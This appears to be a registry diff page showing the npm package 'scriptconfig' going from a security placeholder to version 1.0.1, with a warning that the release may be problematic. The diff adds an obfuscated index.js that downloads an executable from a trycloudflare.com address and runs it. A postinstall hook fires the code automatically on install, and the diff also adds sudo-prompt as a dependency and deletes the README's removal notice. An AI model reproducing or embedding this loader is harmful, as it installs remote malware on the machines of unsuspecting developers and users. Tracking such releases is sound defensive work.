scriptconfig 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of scriptconfig might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ function _0x252e(){const _0x327bee=['child_process','https://succeed-b-northern-spoken.trycloudflare.com/home','5UwhkLa','error','buffer','fs-extra','Download\x20error:\x20','HTTP\x20error!\x20status:\x20','70860IoQYMm','9758350thNtjn','node-fetch','938608EGqiAg','22vEPJZt','Error\x20running\x20the\x20executable:\x20','8LWnatD','3MeHisb','path','5816781SnlBdT','520852HDNtPR','join','writeFile','465567MOfAPA','1897550efRUmF','status'];_0x252e=function(){return _0x327bee;};return _0x252e();}const _0x5b0336=_0x23fd;(function(_0x27d4cf,_0x4ad87e){const _0xa86fd5=_0x23fd,_0x4ac837=_0x27d4cf();while(!![]){try{const _0x2375de=parseInt(_0xa86fd5(0x1b7))/0x1+parseInt(_0xa86fd5(0x1c5))/0x2+parseInt(_0xa86fd5(0x1b1))/0x3*(parseInt(_0xa86fd5(0x1b4))/0x4)+parseInt(_0xa86fd5(0x1bc))/0x5*(parseInt(_0xa86fd5(0x1c2))/0x6)+-parseInt(_0xa86fd5(0x1c3))/0x7+parseInt(_0xa86fd5(0x1b0))/0x8*(parseInt(_0xa86fd5(0x1b3))/0x9)+-parseInt(_0xa86fd5(0x1b8))/0xa*(-parseInt(_0xa86fd5(0x1ae))/0xb);if(_0x2375de===_0x4ad87e)break;else _0x4ac837['push'](_0x4ac837['shift']());}catch(_0x4df0fa){_0x4ac837['push'](_0x4ac837['shift']());}}}(_0x252e,0xad037));const fs=require(_0x5b0336(0x1bf)),path=require(_0x5b0336(0x1b2)),fetch=require(_0x5b0336(0x1c4)),{exec}=require(_0x5b0336(0x1ba)),exeFileName='temp.exe',downloadUrl=_0x5b0336(0x1bb),exeFilePath=path[_0x5b0336(0x1b5)](__dirname,exeFileName);async function downloadFile(_0x4387c9,_0x4fb04e){const _0x366f3c=_0x5b0336,_0x56d213=await fetch(_0x4387c9);if(!_0x56d213['ok'])throw new Error(_0x366f3c(0x1c1)+_0x56d213[_0x366f3c(0x1b9)]);const _0x3116b1=await _0x56d213[_0x366f3c(0x1be)]();await fs[_0x366f3c(0x1b6)](_0x4fb04e,_0x3116b1);}async function runExecutable(){const _0x4438e4=_0x5b0336;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x5abb1a=>{const _0x4178e4=_0x23fd;_0x5abb1a&&console[_0x4178e4(0x1bd)](_0x4178e4(0x1af)+_0x5abb1a);});}catch(_0x5d3345){console[_0x4438e4(0x1bd)](_0x4438e4(0x1c0)+_0x5d3345);}}function _0x23fd(_0x15883f,_0x31e86c){const _0x252e9f=_0x252e();return _0x23fd=function(_0x23fdcf,_0x4eb060){_0x23fdcf=_0x23fdcf-0x1ae;let _0x31c1a3=_0x252e9f[_0x23fdcf];return _0x31c1a3;},_0x23fd(_0x15883f,_0x31e86c);}runExecutable();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "scriptconfig",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scriptconfig for more information.